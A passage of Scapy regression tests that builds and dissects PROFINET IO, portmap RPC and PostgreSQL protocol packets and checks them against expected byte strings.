bytearray.fromhex('01020052010000020001889200000000002f80140002002000010000ffffffff000a000ac0000102030405060002' + \\\n    '0000000400020002000100000001000100090000' + \\\n    '00000000000100030001000f0001000300010004') + b'\\xef')\np == IOCRBlockReq(\n  IOCRType='OutputCR', IOCRReference=1, SendClockFactor=2, IOCRMulticastMACAdd='01:02:03:04:05:06',\n  ReductionRatio=32, DataLength=47, FrameID=0x8014, block_length=82,\n  NumberOfAPIs=2, APIs=[\n    IOCRAPI(\n      API=4,\n      NumberOfIODataObjects=2, IODataObjects=[\n        IOCRAPIObject(SlotNumber=2, SubslotNumber=1, FrameOffset=0),\n        IOCRAPIObject(SlotNumber=1, SubslotNumber=1, FrameOffset=9),\n        ],\n      NumberOfIOCS=0\n      ),\n    IOCRAPI(\n      API=0,\n      NumberOfIODataObjects=1, IODataObjects=[\n        IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=15),\n        ],\n      NumberOfIOCS=1, IOCSs=[\n        IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=4),\n        ],\n      ),\n    ]\n  ) / conf.padding_layer(b'\\xef')\n\n= IOCRBlockReq response\np = p.get_response()\np == IOCRBlockRes(IOCRType='OutputCR', IOCRReference=1, FrameID=0x8014)\n\n####################################################################\n\n+ Check IOCRBlockRes\n\n= IOCRBlockRes default values\nbytes(IOCRBlockRes()) == bytearray.fromhex('810200080100000100018000')\n\n= IOCRBlockRes basic example\nbytes(\n  IOCRBlockRes(IOCRType='InputCR', IOCRReference=2, FrameID=0x8014)\n  ) == bytearray.fromhex('810200080100000100028014')\n\n= IOCRBlockRes dissection\np = IOCRBlockRes(bytearray.fromhex('810200080100000100028014ef'))\np == IOCRBlockRes(IOCRType='InputCR', IOCRReference=2, FrameID=0x8014,\n  block_length=8) / conf.padding_layer(b'\\xef')\n\n\n####################################################################\n####################################################################\n\n+ Check ExpectedSubmoduleBlockReq\n\n= ExpectedSubmoduleBlockReq default values\nbytes(ExpectedSubmoduleBlockReq()) == bytearray.fromhex('0104000401000000')\n\n= ExpectedSubmoduleAPI default values\nbytes(ExpectedSubmoduleAPI()) == bytearray.fromhex('0000000000000000000000000000')\n\n= ExpectedSubmodule default values\nbytes(ExpectedSubmodule()) == bytearray.fromhex('0000000000000000')\n\n= ExpectedSubmoduleDataDescription default values\nbytes(ExpectedSubmoduleDataDescription()) == bytearray.fromhex('000000000000')\n\n= ExpectedSubmoduleBlockReq basic example\np = ExpectedSubmoduleBlockReq(\n  APIs=[\n    ExpectedSubmoduleAPI(\n      API=4, SlotNumber=2, ModuleIdentNumber=0x08c4,\n      Submodules=[\n        ExpectedSubmodule(\n          SubslotNumber=1, SubmoduleIdentNumber=0x0123,\n          SubmoduleProperties_Type='INPUT_OUTPUT',\n          DataDescription=[\n            ExpectedSubmoduleDataDescription(\n              DataDescription='Output',\n              SubmoduleDataLength=5,\n              LengthIOPS=2, LengthIOCS=0\n              ),\n            ExpectedSubmoduleDataDescription(\n              DataDescription='Input',\n              SubmoduleDataLength=3,\n              LengthIOPS=1, LengthIOCS=2\n              )\n            ]\n          ),\n        ]\n      ),\n    ]\n  )\nbytes(p) == \\\n  bytearray.fromhex('0104002601000001') + \\\n    bytearray.fromhex('000000040002000008c400000001') + \\\n      bytearray.fromhex('0001000001230003') + \\\n        bytearray.fromhex('000200050002') + \\\n        bytearray.fromhex('000100030201')\n\n= ExpectedSubmoduleBlockReq dissection\np = ExpectedSubmoduleBlockReq(\n  bytearray.fromhex('0104002601000001') + \\\n    bytearray.fromhex('000000040002000008c400000001') + \\\n      bytearray.fromhex('0001000001230003') + \\\n        bytearray.fromhex('000200050002') + \\\n        bytearray.fromhex('000100030201') + b'\\xef'\n  )\np == ExpectedSubmoduleBlockReq(block_length=38,\n  NumberOfAPIs=1, APIs=[\n    ExpectedSubmoduleAPI(\n      API=4, SlotNumber=2, ModuleIdentNumber=0x08c4,\n      NumberOfSubmodules=1 ,Submodules=[\n        ExpectedSubmodule(\n          SubslotNumber=1, SubmoduleIdentNumber=0x0123,\n          SubmoduleProperties_Type='INPUT_OUTPUT',\n          DataDescription=[\n            ExpectedSubmoduleDataDescription(\n              DataDescription='Output',\n              SubmoduleDataLength=5,\n              LengthIOPS=2, LengthIOCS=0\n              ),\n            ExpectedSubmoduleDataDescription(\n              DataDescription='Input',\n              SubmoduleDataLength=3,\n              LengthIOPS=1, LengthIOCS=2\n              )\n            ]\n          ),\n        ]\n      ),\n    ]\n  ) / conf.padding_layer(b'\\xef')\n\n\n####################################################################\n####################################################################\n\n+ Check AlarmCRBlockReq\n\n= AlarmCRBlockReq default values\nbytes(AlarmCRBlockReq()) == bytearray.fromhex('010300160100000188920000000000010003000300c8c000a000')\n\n= AlarmCRBlockReq with transport\nbytes(AlarmCRBlockReq(AlarmCRProperties_Transport=1)) == bytearray.fromhex('010300160100000108004000000000010003000300c8c000a000')\n\n= AlarmCRBlockReq dissection\np = AlarmCRBlockReq(bytearray.fromhex('010300160100000188920000000000010003000300c8c000a000'))\np[AlarmCRBlockReq].AlarmCRType == 0x0001\np[AlarmCRBlockReq].LocalAlarmReference == 0x0003\n\n= AlarmCRBlockReq response\np = p.get_response()\np == AlarmCRBlockRes(AlarmCRType=0x0001, LocalAlarmReference=0x0003)\n\n+ Check AlarmCRBlockRes\n\n= AlarmCRBlockRes default values\nbytes(AlarmCRBlockRes()) == bytearray.fromhex('810300080100000100000000')\n\n= AlarmCRBlockRes dissection\np = AlarmCRBlockRes(bytearray.fromhex('810300080100000100030000'))\np[AlarmCRBlockRes].AlarmCRType == 0x0001\np[AlarmCRBlockRes].LocalAlarmReference == 0x0003\n\n\n####################################################################\n####################################################################\n\n+ Check PNIOServiceReqPDU\n\n= PNIOServiceReqPDU basic example\n* PNIOServiceReqPDU must always be placed above a DCE/RPC layer as it requires the endianness field\np = DceRpc4() / PNIOServiceReqPDU(blocks=[\n  Block(load=b'\\x01\\x02')\n  ])\ns = bytes(p)\n# Remove the random UUID part before comparison\nassert s[:18] + s[24:] == b'\\x04\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\xa0\\xde\\x97l\\xd1\\x11\\x82q\\x01\\x00\\xa0\\xde\\x97l\\xd1\\x11\\x82q\\x00\\xa0$B\\xdf}\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x1c\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x01\\x00\\x01\\x02'\n\n= PNIOServiceReqPDU dissection\np = DceRpc4(\n  bytes(bytearray.fromhex('0400000000000000dea000006c9711d18271010203040506dea000016c9711d1827100a02442df7d000000000000000000000000000000000000000000000001000000000000ffffffff001c00000000' + \\\n    '0000000f000000080000000f0000000000000008' + \\\n    '0000000401000102ef')\n  ))\nbytes(p.payload) == bytes(PNIOServiceReqPDU(args_length=8, args_max=15, max_count=15, actual_count=8,\n  blocks=[\n    Block(block_length=4, load=b'\\x01\\x02')\n    ]\n  ) / b'\\xef')\n\n\n####################################################################\n####################################################################\n\n+ Check PNIOServiceResPDU\n\n= PNIOServiceResPDU basic example\n* PNIOServiceResPDU must always be placed above a DCE/RPC layer as it requires the endianness field\np = DceRpc4() / PNIOServiceResPDU(blocks=[\n  Block(load=b'\\x01\\x02')\n  ])\ns = bytes(p)\n# Remove the random UUID part before comparison\nassert s[:18] + s[24:] == b'\\x04\\x02\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\xa0\\xde\\x97l\\xd1\\x11\\x82q\\x02\\x00\\xa0\\xde\\x97l\\xd1\\x11\\x82q\\x00\\xa0$B\\xdf}\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x1c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x01\\x00\\x01\\x02'\n\n= PNIOServiceResPDU dissection\np = DceRpc4(\n  bytes(bytearray.fromhex('0402000000000000dea000006c9711d18271010203040506dea000026c9711d1827100a02442df7d000000000000000000000000000000000000000000000001000000000000ffffffff001c00000000' + \\\n    '00001234000000080000000f0000000000000008' + \\\n    '0000000401000102ef')\n  ))\nbytes(p.payload) == bytes(PNIOServiceResPDU(status=0x1234, args_length=8, max_count=15, actual_count=8,\n  blocks=[\n    Block(block_length=4, load=b'\\x01\\x02')\n    ]\n  ) / b'\\xef')\n\n####################################################################\n##                      Some usual examples                       ##\n####################################################################\n\n+ Check some basic examples\n\n#### Connect Request\n= A PNIO RPC Connect Request\np = DceRpc4(\n  endian='little', opnum=0, seqnum=0,\n  object='dea00000-6c97-11d1-8271-010203040506',\n  act_id='01234567-89ab-cdef-0123-456789abcdef'\n  ) / PNIOServiceReqPDU(\n  blocks=[\n    # AR block\n    ARBlockReq(\n      ARType='IOCARSingle', ARUUID='fedcba98-7654-3210-fedc-ba9876543210', SessionKey=0,\n      CMInitiatorMacAdd='01:02:03:04:05:06', CMInitiatorStationName='plc-1',\n      CMInitiatorObjectUUID='dea00000-6c97-11d1-8271-010203040506', ARProperties_ParametrizationServer='CM_Initator'\n      ),\n    # IO CR input block\n    IOCRBlockReq(\n      IOCRType='InputCR', IOCRReference=1, SendClockFactor=2,\n      ReductionRatio=32, DataLength=40,\n      APIs=[\n        IOCRAPI(\n          API=0,\n          IODataObjects=[\n            IOCRAPIObject(SlotNumber=3, SubslotNumber=1,FrameOffset=15),\n            ],\n          IOCSs=[\n            IOCRAPIObject(SlotNumber=3, SubslotNumber=1,FrameOffset=4),\n            ],\n          ),\n        ]\n      ),\n    # IO CR output block\n    IOCRBlockReq(\n      IOCRType='OutputCR', IOCRReference=2, SendClockFactor=8, ReductionRatio=32,\n      DataLength=52, FrameID=0xffff,\n      APIs=[\n        IOCRAPI(\n          API=0,\n          IODataObjects=[\n            IOCRAPIObject(SlotNumber=3, SubslotNumber=1,FrameOffset=0),\n            IOCRAPIObject(SlotNumber=1, SubslotNumber=2,FrameOffset=9),\n            ],\n          ),\n        ]\n      ),\n    # List of expected submodules\n    ExpectedSubmoduleBlockReq(\n      APIs=[\n        ExpectedSubmoduleAPI(\n          API=0, SlotNumber=3, ModuleIdentNumber=0x08c4,\n          Submodules=[\n            ExpectedSubmodule(\n              SubslotNumber=1, SubmoduleIdentNumber=0x0124,\n              SubmoduleProperties_Type='INPUT_OUTPUT',\n              DataDescription=[\n                ExpectedSubmoduleDataDescription(\n                  DataDescription='Output',\n                  SubmoduleDataLength=3,\n                  LengthIOPS=1, LengthIOCS=1\n                  ),\n                ExpectedSubmoduleDataDescription(\n                  DataDescription='Input',\n                  SubmoduleDataLength=5,\n                  LengthIOPS=2, LengthIOCS=0\n                  )\n                ]\n              ),\n            ]\n          ),\n        ]\n      ),\n    ExpectedSubmoduleBlockReq(\n      APIs=[\n        ExpectedSubmoduleAPI(\n          API=0, SlotNumber=1, ModuleIdentNumber=0x08c3,\n          Submodules=[\n            ExpectedSubmodule(\n              SubslotNumber=2, SubmoduleIdentNumber=0x0424,\n              SubmoduleProperties_Type='OUTPUT',\n              DataDescription=[\n                ExpectedSubmoduleDataDescription(\n                  DataDescription='Output',\n                  SubmoduleDataLength=5,\n                  LengthIOPS=1, LengthIOCS=0\n                  )\n                ]\n              ),\n            ]\n          ),\n        ]\n      ),\n    ]\n  )\nbytes(p) == bytearray.fromhex(\n  '04000000100000000000a0de976cd11182710102030405060100a0de976cd111827100a02442df7d67452301ab89efcd0123456789abcdef0000000001000000000000000000ffffffff250100000000' + \\\n  '1101000011010000110100000000000011010000' + \\\n    '0101003b01000001fedcba9876543210fedcba98765432100000010203040506dea000006c9711d182710102030405060000001103e888920005') + b'plc-1' + \\\n    bytearray.fromhex('0102003e010000010001889200000000002880000002002000010000ffffffff000a000ac0000000000000000001' + \\\n      '00000000000100030001000f0001000300010004' + \\\n    '0102003e0100000200028892000000000034ffff0008002000010000ffffffff000a000ac0000000000000000001' + \\\n      '0000000000020003000100000001000200090000' + \\\n    '0104002601000001000000000003000008c400000001' + \\\n      '0001000001240003' + \\\n        '000200030101' + \\\n        '000100050002' + \\\n    '0104002001000001000000000001000008c300000001' + \\\n      '0002000004240002' + \\\n        '000200050001')\n\n\n#### Write Request\n= A PNIO RPC Write Request\np = DceRpc4(\n  endian='little', opnum=2, seqnum=1,\n  object='dea00000-6c97-11d1-8271-010203040506',\n  act_id='01234567-89ab-cdef-0123-456789abcdef'\n  ) / PNIOServiceReqPDU(\n  blocks=[\n    IODWriteMultipleReq(\n      seqNum=0, ARUUID='fedcba98-7654-3210-fedc-ba9876543210', blocks=[\n        IODWriteReq(\n          seqNum=1, API=0, slotNumber=1, subslotNumber=1, index=0x123,\n          ARUUID='fedcba98-7654-3210-fedc-ba9876543210'\n          ) / b'\\x01\\x02',\n        IODWriteReq(\n          seqNum=2, API=0, slotNumber=3, subslotNumber=1,\n          ARUUID='fedcba98-7654-3210-fedc-ba9876543210'\n          ) / FParametersBlock(\n            F_CRC_Seed=1, F_CRC_Length='CRC-24', F_Source_Add=0xc1, F_Dest_Add=0xc2,\n            F_WD_Time=500, F_Par_CRC=0x1234\n            ),\n        ]\n      )\n    ]\n  )\nbytes(p) == bytearray.fromhex(\n  '04000000100000000000a0de976cd11182710102030405060100a0de976cd111827100a02442df7d67452301ab89efcd0123456789abcdef0000000001000000010000000200ffffffffe20000000000' + \\\n  'ce000000ce000000ce00000000000000ce000000' + \\\n    '0008003c01000000fedcba9876543210fedcba9876543210ffffffffffffffff0000e0400000008e' + '00' * 24 + \\\n      '0008003c01000001fedcba9876543210fedcba987654321000000000000100010000012300000002' + '00' * 24 + \\\n        '01020000' + \\\n      '0008003c01000002fedcba9876543210fedcba98765432100000000000030001000001000000000a' + '00' * 24 + \\\n        '484000c100c201f41234')\n\n\n#### PrmEnd control Request\n= A PNIO RPC PrmEnd Control Request\np = DceRpc4(\n  endian='little', opnum=0, seqnum=2,\n  object='dea00000-6c97-11d1-8271-010203040506',\n  act_id='01234567-89ab-cdef-0123-456789abcdef'\n  ) / PNIOServiceReqPDU(\n  blocks=[\n    IODControlReq(ARUUID='fedcba98-7654-3210-fedc-ba9876543210', SessionKey=0, ControlCommand_PrmEnd=1)\n    ]\n  )\nbytes(p) == bytearray.fromhex(\n  '04000000100000000000a0de976cd11182710102030405060100a0de976cd111827100a02442df7d67452301ab89efcd0123456789abcdef0000000001000000020000000000ffffffff340000000000' + \\\n  '2000000020000000200000000000000020000000' + \\\n    '0110001c01000000fedcba9876543210fedcba98765432100000000000010000')\n\n#### ApplicationReady control Request\n= A PNIO RPC PrmEnd Control Request\np = DceRpc4(\n  endian='little', opnum=0, seqnum=0,\n  object='dea00000-6c97-11d1-8271-060504030201',\n  act_id='01020304-0506-0708-090a-0b0c0d0e0f00',\n  if_id=RPC_INTERFACE_UUID['UUID_IO_ControllerInterface'],\n  ) / PNIOServiceReqPDU(\n  blocks=[\n    IODControlReq(ARUUID='fedcba98-7654-3210-fedc-ba9876543210', SessionKey=0, ControlCommand_ApplicationReady=1)\n    ]\n  )\nbytes(p) == bytearray.fromhex(\n  '04000000100000000000a0de976cd11182710605040302010200a0de976cd111827100a02442df7d0403020106050807090a0b0c0d0e0f000000000001000000000000000000ffffffff340000000000' + \\\n  '2000000020000000200000000000000020000000' + \\\n    '0112001c01000000fedcba9876543210fedcba98765432100000000000020000')\n\n\n### PNIO Alarms\n\n= PNIO Alarm decoding (Alarm_Low)\n\np = Ether(b'\\x00\\x11\\x22\\x33\\x44\\x55' \\\n          b'\\x00\\x66\\x77\\x88\\x99\\xaa' \\\n          b'\\x81\\x00\\xa0\\x00' \\\n          b'\\x88\\x92' \\\n          b'\\xfe\\x01' \\\n          b'\\x00\\x03\\x00\\x03\\x11\\x11\\xff\\xff\\xff\\xfe\\x00\\x36' \\\n          b'\\x00\\x02\\x00\\x32\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00' \\\n          b'\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x08\\x00' \\\n          b'\\x81\\x00\\x0f\\x00\\x00\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x02' \\\n          b'\\x80\\x02\\x00\\x0f\\x2c\\x00\\x00\\x05\\x80\\x00\\x00\\x00\\x00\\x22')\nassert p[ProfinetIO].frameID == 0xfe01\nassert isinstance(p[ProfinetIO].payload, Alarm_Low)\nassert p[AlarmNotification_Low].block_type == 0x0002\nassert isinstance(p[AlarmNotification_Low].AlarmPayload[0], MaintenanceItem)\nassert p[MaintenanceItem].UserStructureIdentifier == 0x8100\nassert isinstance(p[AlarmNotification_Low].AlarmPayload[1], DiagnosisItem)\nassert p[DiagnosisItem].UserStructureIdentifier == 0x8002\n\n= PNIO Alarm decoding (Alarm_High)\np = Ether(b'\\x00\\x11\\x22\\x33\\x44\\x55' \\\n          b'\\x00\\x66\\x77\\x88\\x99\\xaa' \\\n          b'\\x81\\x00\\xa0\\x00' \\\n          b'\\x88\\x92' \\\n          b'\\xfc\\x01' \\\n          b'\\x00\\x03\\x00\\x03\\x11\\x11\\xff\\xff\\xff\\xfe\\x00\\x36' \\\n          b'\\x00\\x02\\x00\\x32\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00' \\\n          b'\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x08\\x00' \\\n          b'\\x81\\x00\\x0f\\x00\\x00\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x02' \\\n          b'\\x80\\x02\\x00\\x0f\\x2c\\x00\\x00\\x05\\x80\\x00\\x00\\x00\\x00\\x22')\nassert p[ProfinetIO].frameID == 0xfc01\nassert isinstance(p[ProfinetIO].payload, Alarm_High)\nassert p[AlarmNotification_High].block_type == 0x0002\nassert isinstance(p[AlarmNotification_High].AlarmPayload[0], MaintenanceItem)\nassert p[MaintenanceItem].UserStructureIdentifier == 0x8100\nassert isinstance(p[AlarmNotification_High].AlarmPayload[1], DiagnosisItem)\nassert p[DiagnosisItem].UserStructureIdentifier ==  0x8002\n\n= PNIO Alarm DiagnosisItem\n\np = AlarmNotification_Low(AlarmPayload=[MaintenanceItem(), DiagnosisItem()])\nassert raw(p) == bytearray.fromhex('0002002c0100000000000000000000000000000000000000000000000000000001000000000000000000000000000000')\n\n= PNIO Alarm UploadRetrievalItem\n\np = AlarmNotification_Low(AlarmPayload=[MaintenanceItem(), UploadRetrievalItem()])\nassert raw(p) == bytearray.fromhex('00020036010000000000000000000000000000000000000000000000000000000100000000000000000000000000010000000000000000000000')\n\n= PNIO Alarm iParameterItem\np = AlarmNotification_Low(AlarmPayload=[MaintenanceItem(), iParameterItem()])\nassert raw(p) == bytearray.fromhex('0002003e0100000000000000000000000000000000000000000000000000000001000000000000000000000000000100000000000000000000000000000000000000')\n\n= PNIO Alarm RS_AlarmItem\np = AlarmNotification_Low(AlarmPayload=[MaintenanceItem(), RS_AlarmItem()])\nassert raw(p) == bytearray.fromhex('0002002801000000000000000000000000000000000000000000000000000000010000000000000000000000')\n\n= PNIO Alarm PRAL_AlarmItem\np = AlarmNotification_Low(AlarmPayload=[MaintenanceItem(), PRAL_AlarmItem()])\nassert raw(p) == bytearray.fromhex('0002002e01000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000')\n\n= PNIO PDPortDataAdjust Decoding\nraw = bytearray.fromhex('0402280000000000dea000006c9711d182710001000305f9dea000016' \\\n                        'c9711d1827100a02442df7d0777bc51ddaa4d07addb7075183fc28b00' \\\n                        '00000000000001000000000002ffffffff007c0000000000000000000' \\\n                        '000680000004000000000000000688009003c0100000002ba501cd47e' \\\n                        '40d3a0b545fd4ac70eb900000000000080020000802f0000002800000' \\\n                        '000000000000000000000000000000000000000000002020024010000' \\\n                        '00000080020224000c010000000000000100000000021b00080100000' \\\n                        '000010000')\np = DceRpc4(raw)\nassert p[PDPortDataAdjust].subslotNumber == 0x8002\nassert p[AdjustPeerToPeerBoundary].peerToPeerBoundary == 0x1\nassert LINKSTATE_LINK[p[AdjustLinkState].LinkState] == 'Up'\n"
  },
  {
    "path": "test/contrib/portmap.uts",
    "content": "% Tests for portmap module\n############\n############\n+  Packet Creation Tests\n\n= Create subpackets\nMap_Entry()\n\n= Create Portmap Packets\nNULL_Call()\nNULL_Reply()\nDUMP_Call()\nDUMP_Reply()\nGETPORT_Call()\nGETPORT_Reply()\n\n+ Test Layer bindings\n\n= RPC Layer Bindings for Portmap calls\nfrom scapy.contrib.oncrpc import *\npkt = RPC()/RPC_Call()/NULL_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100000, 2, 0)\npkt = RPC()/RPC_Call()/GETPORT_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100000, 2, 3)\npkt = RPC()/RPC_Call()/DUMP_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100000, 2, 4)\n\n= RPC Layer Bindings for Portmap replies\nfrom scapy.contrib.oncrpc import *\npkt = RPC()/RPC_Reply()/NULL_Reply()\nassert pkt.mtype == 1\npkt = RPC()/RPC_Reply()/GETPORT_Reply()\nassert pkt.mtype == 1\npkt = RPC()/RPC_Reply()/DUMP_Reply()\nassert pkt.mtype == 1\n\n+ Test Built Packets vs Raw Strings\n\n= Portmap calls vs Raw Strings\npkt = GETPORT_Call(\n    prog=100003,\n    vers=3,\n    prot=6,\n    port=0\n)\nassert bytes(pkt) == b'\\x00\\x01\\x86\\xa3\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00'\n\n= Portmap replies vs Raw Strings\npkt = GETPORT_Reply(\n    port=2049\n)\nassert bytes(pkt) == b'\\x00\\x00\\x08\\x01'\n\npkt = DUMP_Reply(value_follows=1,\n                 mappings=[Map_Entry(prog=1, vers=2, prot=3, port=4, value_follows=1),\n                           Map_Entry(prog=5, vers=6, prot=7, port=8, value_follows=0),\n                          ]\n                 )\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00'\n"
  },
  {
    "path": "test/contrib/postgres.uts",
    "content": "# Postgres Related regression tests\n# \n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('postgres')\" -t test/contrib/postgres.uts\n\n+ postgres\n\n= postgres initialization\n\nfrom scapy.contrib.postgres import *\n\nssl_request = \"\\x00\\x00\\x00\\x08\\x04\\xd2\\x16\\x2f\"\n\nstartup = Startup(\n    b\"\\x00\\x00\\x00\\x57\\x00\\x03\\x00\\x00\\x75\\x73\\x65\\x72\\x00\\x70\\x6f\\x73\"\n    b\"\\x74\\x67\\x72\\x65\\x73\\x00\\x64\\x61\\x74\\x61\\x62\\x61\\x73\\x65\\x00\\x70\"\n    b\"\\x6f\\x73\\x74\\x67\\x72\\x65\\x73\\x00\\x61\\x70\\x70\\x6c\\x69\\x63\\x61\\x74\"\n    b\"\\x69\\x6f\\x6e\\x5f\\x6e\\x61\\x6d\\x65\\x00\\x70\\x73\\x71\\x6c\\x00\\x63\\x6c\"\n    b\"\\x69\\x65\\x6e\\x74\\x5f\\x65\\x6e\\x63\\x6f\\x64\\x69\\x6e\\x67\\x00\\x57\\x49\"\n    b\"\\x4e\\x31\\x32\\x35\\x32\\x00\\x00\"\n)\n\nassert startup.len == 87\nassert startup.protocol_version_major == 3\nassert startup.protocol_version_minor == 0\nassert (\n    startup.options\n    == b\"user\\x00postgres\\x00database\\x00postgres\\x00application_name\\x00psql\\x00client_encoding\\x00WIN1252\\x00\\x00\"\n)\n\ninit_packet = (\n    b\"\\x52\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x53\\x00\\x00\\x00\\x1a\\x61\\x70\"\n    b\"\\x70\\x6c\\x69\\x63\\x61\\x74\\x69\\x6f\\x6e\\x5f\\x6e\\x61\\x6d\\x65\\x00\\x70\"\n    b\"\\x73\\x71\\x6c\\x00\\x53\\x00\\x00\\x00\\x1c\\x63\\x6c\\x69\\x65\\x6e\\x74\\x5f\"\n    b\"\\x65\\x6e\\x63\\x6f\\x64\\x69\\x6e\\x67\\x00\\x57\\x49\\x4e\\x31\\x32\\x35\\x32\"\n    b\"\\x00\\x53\\x00\\x00\\x00\\x17\\x44\\x61\\x74\\x65\\x53\\x74\\x79\\x6c\\x65\\x00\"\n    b\"\\x49\\x53\\x4f\\x2c\\x20\\x4d\\x44\\x59\\x00\\x53\\x00\\x00\\x00\\x26\\x64\\x65\"\n    b\"\\x66\\x61\\x75\\x6c\\x74\\x5f\\x74\\x72\\x61\\x6e\\x73\\x61\\x63\\x74\\x69\\x6f\"\n    b\"\\x6e\\x5f\\x72\\x65\\x61\\x64\\x5f\\x6f\\x6e\\x6c\\x79\\x00\\x6f\\x66\\x66\\x00\"\n    b\"\\x53\\x00\\x00\\x00\\x17\\x69\\x6e\\x5f\\x68\\x6f\\x74\\x5f\\x73\\x74\\x61\\x6e\"\n    b\"\\x64\\x62\\x79\\x00\\x6f\\x66\\x66\\x00\\x53\\x00\\x00\\x00\\x19\\x69\\x6e\\x74\"\n    b\"\\x65\\x67\\x65\\x72\\x5f\\x64\\x61\\x74\\x65\\x74\\x69\\x6d\\x65\\x73\\x00\\x6f\"\n    b\"\\x6e\\x00\\x53\\x00\\x00\\x00\\x1b\\x49\\x6e\\x74\\x65\\x72\\x76\\x61\\x6c\\x53\"\n    b\"\\x74\\x79\\x6c\\x65\\x00\\x70\\x6f\\x73\\x74\\x67\\x72\\x65\\x73\\x00\\x53\\x00\"\n    b\"\\x00\\x00\\x14\\x69\\x73\\x5f\\x73\\x75\\x70\\x65\\x72\\x75\\x73\\x65\\x72\\x00\"\n    b\"\\x6f\\x6e\\x00\\x53\\x00\\x00\\x00\\x19\\x73\\x65\\x72\\x76\\x65\\x72\\x5f\\x65\"\n    b\"\\x6e\\x63\\x6f\\x64\\x69\\x6e\\x67\\x00\\x55\\x54\\x46\\x38\\x00\\x53\\x00\\x00\"\n    b\"\\x00\\x32\\x73\\x65\\x72\\x76\\x65\\x72\\x5f\\x76\\x65\\x72\\x73\\x69\\x6f\\x6e\"\n    b\"\\x00\\x31\\x34\\x2e\\x32\\x20\\x28\\x44\\x65\\x62\\x69\\x61\\x6e\\x20\\x31\\x34\"\n    b\"\\x2e\\x32\\x2d\\x31\\x2e\\x70\\x67\\x64\\x67\\x31\\x31\\x30\\x2b\\x31\\x29\\x00\"\n    b\"\\x53\\x00\\x00\\x00\\x23\\x73\\x65\\x73\\x73\\x69\\x6f\\x6e\\x5f\\x61\\x75\\x74\"\n    b\"\\x68\\x6f\\x72\\x69\\x7a\\x61\\x74\\x69\\x6f\\x6e\\x00\\x70\\x6f\\x73\\x74\\x67\"\n    b\"\\x72\\x65\\x73\\x00\\x53\\x00\\x00\\x00\\x23\\x73\\x74\\x61\\x6e\\x64\\x61\\x72\"\n    b\"\\x64\\x5f\\x63\\x6f\\x6e\\x66\\x6f\\x72\\x6d\\x69\\x6e\\x67\\x5f\\x73\\x74\\x72\"\n    b\"\\x69\\x6e\\x67\\x73\\x00\\x6f\\x6e\\x00\\x53\\x00\\x00\\x00\\x15\\x54\\x69\\x6d\"\n    b\"\\x65\\x5a\\x6f\\x6e\\x65\\x00\\x45\\x74\\x63\\x2f\\x55\\x54\\x43\\x00\\x4b\\x00\"\n    b\"\\x00\\x00\\x0c\\x00\\x00\\x01\\x7f\\x43\\x4c\\x36\\xa5\\x5a\\x00\\x00\\x00\\x05\\x49\"\n)\n\n= postgres backend sequence\n\ninit = PostgresBackend(init_packet)\n\nassert isinstance(init.contents[0], Authentication)\nassert init.contents[0].len == 8\nassert init.contents[0].method == 0\nassert len(init.contents) == 16\nassert isinstance(init.contents[1], ParameterStatus)\nassert init.contents[1].len == 26\nassert init.contents[1].parameter == b\"application_name\"\nassert init.contents[1].value == b\"psql\"\n\n= simple queries\n\nsimple_query_packet = (\n    b\"\\x51\\x00\\x00\\x00\\x15\\x53\\x45\\x4c\\x45\\x43\\x54\\x20\\x56\\x45\\x52\\x53\"\n    b\"\\x49\\x4f\\x4e\\x28\\x29\\x00\"\n)\nsimple_query = PostgresFrontend(simple_query_packet)\n\nassert isinstance(simple_query.contents[0], Query)\nassert simple_query.contents[0].len == 21\nassert simple_query.contents[0].query == b\"SELECT VERSION()\"\n\npair = SignedIntStrPair(b\"\\x00\\x00\\x00\\x04\\x01\\x02\\x03\\x04\")\n\nassert pair.len == 4\nassert pair.data == b\"\\x01\\x02\\x03\\x04\"\n\ncommand_response_packet = (\n    b\"\\x54\\x00\\x00\\x00\\x20\\x00\\x01\\x76\\x65\\x72\\x73\\x69\\x6f\\x6e\\x00\\x00\"\n    